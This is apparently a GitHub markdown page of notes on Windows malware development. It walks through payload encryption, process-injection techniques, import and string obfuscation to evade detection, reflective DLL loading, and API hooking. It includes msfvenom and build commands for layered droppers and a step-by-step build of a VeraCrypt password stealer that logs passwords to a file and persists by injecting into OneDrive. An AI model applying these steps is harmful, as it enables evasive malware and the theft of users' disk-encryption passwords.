Skip to content

Latest commit

 

History

History
673 lines (556 loc) · 23 KB

malware_development.md

File metadata and controls

673 lines (556 loc) · 23 KB

Malware Development

General

  • For building start x64 Cross Tools Command Promt for VS 2019

Packer

DebugBreak

  • Inside the dropper to add a breakpoint add __debugbreak(); to the line. It will add the int3 instruction to add a breakpoint.
  • Run debugger and attach the PE.

DebugMessages

  • Use OutputDebugStringA function to send messages to debugviewer from Sysinternals.

Dumpbin

Show imported functions - IAT

dumpbin /imports <PATH TO EXE>

Show exported functions

dumpbin /exports <PATH TO EXE>
Show everything
dumpbin /ALL <PATH TO EXE>

Payload locations

  • Payloads in droppers can be stored in the following sections of a PE.
    • .text, put it inside a function in the code. For example within main.
    • .data, set payload, inside global variable
    • .rdata, set payload read only, inside global variable
    • .rsrc, place it in a icon, or image.
  • Depending on the compiler and its settings, the .data and .rdata sections may be merged, or even merged into the .text section.
  • Saving the payload in the .rsrc section is a cleaner method since larger payloads cannot be stored in the .data or .rdata sections due to size limits

Example payload in text

compile.bat

Example payload in text

compile.bat

Example payload in data

compile.bat

Example payload in rdata

compile.bat

Example payload in resources

compile.bat

Payload encoding & encryption

  • Encoding: Mostly used for transfering binary data, for example in Base64
  • Encryption: Transform data with a key, for example XOR, AES

Encoding

Base64

  • Not enough to avoid detection. Mostly used for transfering binary data

Base64 encode payload

certutil -encode <PAYLOAD>.bin <PAYLOAD>.base64

Example base64 encoded payload

compile.bat

Encryption

  • Encrypting a payload is a good way to prevent detection. But encrypted data highers the entropy of the PE which might flag the PE as malicious or place extra scrutiny on it.

XOR

Xor encrypt payload python2

  • Change the KEY variable with a key
  • Xor encrypts a .bin file
python2 xorencrypt.py msgbox64.bin

Example with XOR encrypted payload

compile.bat

AES

AES encrypt python2

  • AES encrypts a .bin file
python2 aesencrypt.py calc.bin

Example with AES encrypted payload

compile.bat

Code injection

  • Why do code injection?
    • Escape from a short lived process
    • Change working context
    • Backup C2 channel (Toon, two is one, one is none)
  • Classic methods: Shellcode/payload injection w/ debugging Win API or DLL injection

Classic Injection

Injecting code in remote process

  • Win32 API functions:
    • VirtualAllocEx Allocate memory buffer in remote process
    • WriteProcessMemory Write into memory into the remote process
    • CreateRemoteThread Specify which process should start the new threat

Example Code injection notepad.exe

compile.bat

Injecting DLL in remote process

  • Win32 API functions:
    • GetProcAddress Get Loadlibrary address from the dropper
    • VirtualAllocEx Allocate memory buffer in remote process Example code
    • WriteProcessMemory Write DLL Address into the memory of remote process
    • CreateRemoteThread Specify which process should start the new threat

Example Injecting DLL in remote process

Compile dll

compileDLL.bat

Compile dropper

compileInjector.bat

Classic injection variation

  • Win32 API Functions:
    • VirtualAllocEx Allocate memory buffer in remote process
    • WriteProcessMemory Write into memory into the remote process
    • RtlCreateUserThread or NtCreateThreadEx Specify which process should start the new threat

Example code injection explorer.exe

  • Used one of the combined dropper projects for it and didn't encode the new strings.
  • Uncomment the two lines for RtlCreateUserThread or NtCreateThreadEx.
  • Example code

Thread context injection

  • Completely destroys the work of that thread. Might crash the process later
  • Win32 API Functions:
    • CreateToolhelp32Snapshot & Thread32Next Find thread in remote process
    • VirtualAllocEx Allocate memory buffer in remote process
    • WriteProcessMemory Write into memory into the remote process
    • SuspendThread Suspend the execution of remote thread
    • GetThreadContext & SetThreadContext Change context of thread, change function pointer register to point to shellcode
    • ResumeThread Resume thread

Example injection notepad.exe

MapView Code Injection

  • Share shellcode in memory from one process to another
  • Win32 API Functions:
    • NtCreateSection Create section, new region of memory in current process
    • NtMapViewOfSection Create a view in the current process
    • memcpy Copy shellcode to view
    • NtMapViewOfSection Create Remote View of that shellcode section in remote process
    • RtlCreateUserThread Execute shellcode in remote process

Example injection notepad.exe

Async Procedure Call Injection

  • Not as stable, might break the process.
  • Win32 API Functions:
    • CreateToolhelp32Snapshot & Thread32Next Find thread in remote process
    • VirtualAllocEx Allocate memory buffer in remote process
    • WriteProcessMemory Write into memory into the remote process
    • QueueUserAPC Create APC object in remote process
    • Wait & Pray till process gets into alertable state
    • Will execute the APC shellcode

Example injection notepad.exe

Earlybird

  • Variation of APC. Spawns a new process and inject shellcode.
  • Win32 API Functions:
    • CreateProcessA Create a process in suspended mode
    • VirtualAllocEx Allocate memory buffer in remote process
    • WriteProcessMemory Write into memory into the remote process
    • QueueUserAPC Create APC object in remote process
    • ResumeThread Resume thread and execute shellcode

Example injection notepad.exe

Evasion Techniques

Making a program invisible

  • Two typical ways: Freeconsole() (Console window shows up a split second) and GUItrick

Example GUItrick

  • Instead of the main function create a WinMain function
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, 
    LPSTR lpCmdLine, int nCmdShow) {
Building
  • Use /SUBSYSTEM:WINDOWS instead of /SUBSYSTEM:CONSOLE

Function call obfuscation

  • Calling external functions, detection based on imported DLLs and functions
  • A method of hiding DLL's and external functions that are called during runtime.
    • With the API's GetModuleHandle & GetProcAddress

Run dumpbin to check import adress table

  • Prints the imported DLLs and the functions
dumpbin /imports <PAYLOAD EXE>

Look up documentation of function

BOOL VirtualProtect(
  [in]  LPVOID lpAddress,
  [in]  SIZE_T dwSize,
  [in]  DWORD  flNewProtect,
  [out] PDWORD lpflOldProtect
);

Create global variable

  • Create a global variable and make it a pointer
BOOL (WINAPI * pVirtualProtect)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);

Add the following code

  • Add the following line to get the address of the pointer
pVirtualProtect = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualProtect");

Hiding win32 API strings in the code

  • When running strings <EXE> the string VirtualProtect will show up. Possible to hide by making an array:
char aVirtualProtect[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'P', 'r', 'o', 't', 'e', 'c', 't' };

VirtualProtect_t pVirtualProtect = (VirtualProtect_t)GetProcAddress(GetModuleHandle(L"kernel32.dll"), aVirtualProtect);
  • Best is to encrypt the API string, for example VirtualProtect from the example above and decode it in the code. See Droppers for example code

When GetModuleHandle fails

  • When receiving errorcode 126 The specified module could not be found. The library isn't found on the system. Load it using LoadLibrary`. Example code:
LoadLibraryW_t pLoadLibraryW = (LoadLibraryW_t)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
HMODULE hWinhttp = pLoadLibraryW(L"C:\\windows\\system32\\winhttp.dll");
if (!hWinhttp) {
	Error("Failed to get handle to winhttp.dll");
	exit(0);
}

// Get handles to Win32 API's using GetProcAddress
WinHttpOpen_t pWinHttpOpen = (WinHttpOpen_t)GetProcAddress(hWinhttp, "WinHttpOpen");

Hiding GetModuleHandle & GetProcAddress

  • This is possible by implementing these functions yourself. See helpers.cpp from Link
  • Then use these functions with Unicode (L"<STRING>") strings to resolve the API's:
VirtualAlloc_t pVirtualAlloc = (VirtualAlloc_t) hlpGetProcAddress(hlpGetModuleHandle(L"KERNEL32.DLL"), "VirtualAlloc");
  • If we use these functions the GetModuleHande & GetProcAddress shouldn't be in our code. But with dumpbin /import implant.exe | findstr /i getprocad or dumpbin /import implant.exe | findstr /i getmoduleha the functions still show up. This is because there is some initialization fase, compiler and linker add some additional code that prepares the process before the start. When we use #pragma comment(linker, "/entry:WinMain") inside our headers we can fix this. This changes the linker to entry point WinMain
  • Use the helper functions to get pointers to the real GetProcAddress and GetModuleHandle and use these pointers to resolve the rest of the functions.
GetModuleHandleA_t pGetModuleHandleA = (GetModuleHandleA_t) hlpGetProcAddress(hlpGetModuleHandle(L"KERNEL32.DLL"), "GetModuleHandleA");
GetProcAddress_t pGetProcAddress = (GetProcAddress_t) hlpGetProcAddress(hlpGetModuleHandle(L"KERNEL32.DLL"), "GetProcAddress");
		
VirtualAlloc_t pVirtualAlloc = (VirtualAlloc_t) pGetProcAddress(pGetModuleHandle(L"KERNEL32.DLL"), "VirtualAlloc");

Reflective DLL

Reflective DLL loader

Example Reflective DLL loader

Compile DLL

compileDLL.bat

AES encrypt dll

python .\aesencrypt.py .\implant.dll > out.txt

Compile Implant.cpp

compile.bat

Shellcode Reflective DLL Injection

Example Shellcode Reflective DLL Injection

Compile DLL

  • Optional
compileDLL.bat

Convert dll to shellcode

  • Generates a .bin file
python ConvertToShellcode.py -f Go implant.dll

AES encrypt bin file

python.exe ./aes.py implant.bin > out.txt

Compile Implant.cpp

compile.bat

Wow64 and Heavens Gate

  • Injecting a 32 bit payload & 64 bit compiled implant into a 32 bit process works. But 64 bit payload & 32 bit compiled implant into 64-bit process doesn't.
    • The payload gets injected, but it doesn't run.
  • Wow64 is sort of emulator which provides a sort of interface between 32 bit NTDLL and the kernel (which runs in 64 bit).
  • Three important dll's: Wow64.dll, Wow64cpu.dll, Wow64Win.dll

Migrating between 32 bit & 64 bit programs

  • Possible with a heavens gate.
    • Function EXECUTEX64 Transition from 32 bit to 64 bit mode in current process
    • Function X64FUNCTION & API RtlCreateUserThread() call to execute code in target process
  • Parts of code comes from Migrate command from Metasploit.
    • Raw byte code in execute64.bin and wownative.bin files
  • Example code
    • Switch the comments in main to switch in between payloads. Compile with x86 and x64 depending on the test and start notpad x86 or x64.
    • Example code didn't work with InjectWOW64(hProc, payload64, payload64_len); on my amd 5800x cpu. Did work on my Intell laptop.

API Hooking

  • Its a generic way a application executes in memory. Can be used for game hacks to incercept and return other values.

Hooking with Detours

Example Hooking with Detours

  • Example code
  • Run hookme.exe and the first messagebox will appear.
  • Then open process hacker, right click hookme.exe process --> Miscellaneous --> Inject DLL and select hookem.dll.
  • Click OK and the other two messageboxes will be replaced with a new title and message!

Hooking with Import Adress Table

  • Change the adresses of imported function in the Import Adress Table (IAT)

Example Hooking with Import Adress Table

  • Example code
  • Run hookme.exe and the first messagebox will appear.
  • Then open process hacker, right click hookme.exe process --> Miscellaneous --> Inject DLL and select hookem.dll.
  • Click OK and the other two messageboxes will be replaced with a new title and message!

In-line patching

  • IAT hooking relies on swapping the function pointers. With in-line patching the API function itself is modified (patched) to redirect the API to the malicious code.

Example In-line patching

  • Run hookme.exe and the first messagebox will appear.
  • Then open process hacker, right click hookme.exe process --> Miscellaneous --> Inject DLL and select hookem.dll.
  • Click OK and the other two messageboxes will be replaced with a new title and message!

Payload Control

  • To stop injecting the same payload/implant multiple times and creating a lot of artifacts it is usefull to have control over how many times it can get executed.
  • Control object for this can be anything. Some examples:
    • Global mutant
    • Global event
    • Global semaphore
    • Named pipe

Example code payload control

Combined Droppers

Dropper XOR Favicon

Generate messagebox

msfvenom -p windows/x64/messagebox TEXT="0xjs" -o msgbox64.bin

XOR encrypt messagebox

  • Change the key in script if desired
python2 xorencryptfavicon.py msgbox64.bin

XOR encrypt function calls / strings

  • Might want to change the function for this
python2 -i xorencrypt.py

>>> PrintC(xor("<STRING TO ENCRYPT>", "<KEY">)

Compile implant.cpp

compile.bat

Dropper AES Favicon

Generate messagebox

msfvenom -p windows/x64/messagebox TEXT="0xjs" -o msgbox64.bin

AES encrypt messagebox

python.exe .\aesencryptfile.py .\msgbox64.bin

AES encrypt function calls / strings

python.exe .\aesencryptstring.py

Compile implant.cpp

  • Set the pkey variable with the payload key and k variable with the encrypted function calls/strings key
  • Example code
compile.bat

Dropper AES Favicon no imports

  • Had to use GetUserName, with no imports pCryptReleaseContext didn't work. Rather had that API call then the AES one.

Generate messagebox

msfvenom -p windows/x64/messagebox TEXT="0xjs" -o msgbox64.bin

AES encrypt messagebox

python.exe .\aesencryptfile.py .\msgbox64.bin

AES encrypt function calls / strings

python.exe .\aesencryptstring.py

Compile implant.cpp

  • Set the pkey variable with the payload key and k variable with the encrypted function calls/strings key
  • Example code
compile.bat

VeraCryptPasswordStealer

  • VCSniff is a 64 bit dll that uses DeTours to sniff the VeraCrypt password from the WideCharToMultiByte function and write it to C:\temp\data.txt
  • VCmigrate is a 32 bit dll that injects reflected dll from VCsniff into the 64bit VeraCrypt process, checks for this proccess every 5 seconds
  • VCpersist is a 64 bit program VChelper.exe that injects 64 bit reflected dll VCmigrate into 32 bit OneDrive program.
  • Use VChelper.exe (VCpersist) with any persistent method to start at boot and be injected into OneDrive.
  • Example code

Compile vcsniff.dll

  • Compile as 64 bit.
compile.bat

Create Reflective DLL shellcode vcsniff.dll

  • Copy vcsniff.dll to VCmigrate folder.
python ..\sRDI\Python\ConvertToShellcode.py -f DllMain vcsniff.dll

AES encrypt shellcode

python aesencryptfile.py vcsniff.dll > out.txt

Compile VCmigrate

  • Place the payload and key inside the .cpp file.
  • Compile as 32 bit.
compile.bat

Create Reflective DLL shellcode vcmigrate.dll

  • Copy vcmigrate.dll to VCpersist
python3 ..\sRDI\Python\ConvertToShellcode.py -f Go .\vcmigrate.dll  

AES encrypt shellcode

python3 ..\VCmigrate\aesencryptfile.py .\vcmigrate.bin > out.txt  

Compile VCpersist

  • Place the payload and key inside the .cpp file.
  • Compile as 64 bit.
compile.bat  

Dropper Mapview Explorer

  • Dropper_AES_Favicon_MapView_Explorer
  • AES encrypted payload in .src section, inside favicon
  • MapView injection into Explorer.exe
  • Function call obfuscation with GetModuleHandle and GetProcAddress helpers

Generate msfvenom payload

msfvenom -p windows/x64/messagebox TEXT="0xjs" EXITFUNC=thread -o msgbox64.bin

AES encrypt to favicon

python aesencryptfile.py msgbox64.bin

Compile implant.exe

  • Place the payload and key inside the payl and pkey values
compile.bat

Dropper Shellcode Reflected DLL Explorer

  • Dropper_AES_Reflected_DLL_MapView_Explorer
  • AES encrypted payload compiled to a DLL. Converted to shellcode reflective DLL injection and then AES encrypted again
  • MapView injection into Explorer.exe
  • Function call obfuscation with GetModuleHandle and GetProcAddress helpers

Generate msfvenom payload

msfvenom -p windows/x64/messagebox TEXT="0xjs" EXITFUNC=thread -o msgbox64.bin

AES encrypt shellcode

python aesencrypt.py msgbox64.bin > out.txt

Generate DLL

  • Place payload and key inside DLL and compile it.
compileDLL.bat

Create Reflective DLL shellcode

python ..\sRDI\Python\ConvertToShellcode.py -f Go implant.dll

AES encrypt shellcode

python aesencrypt.py implant.bin > out2.txt

Compile implant.exe

  • Place the payload and key inside the payl and pkey values
compile.bat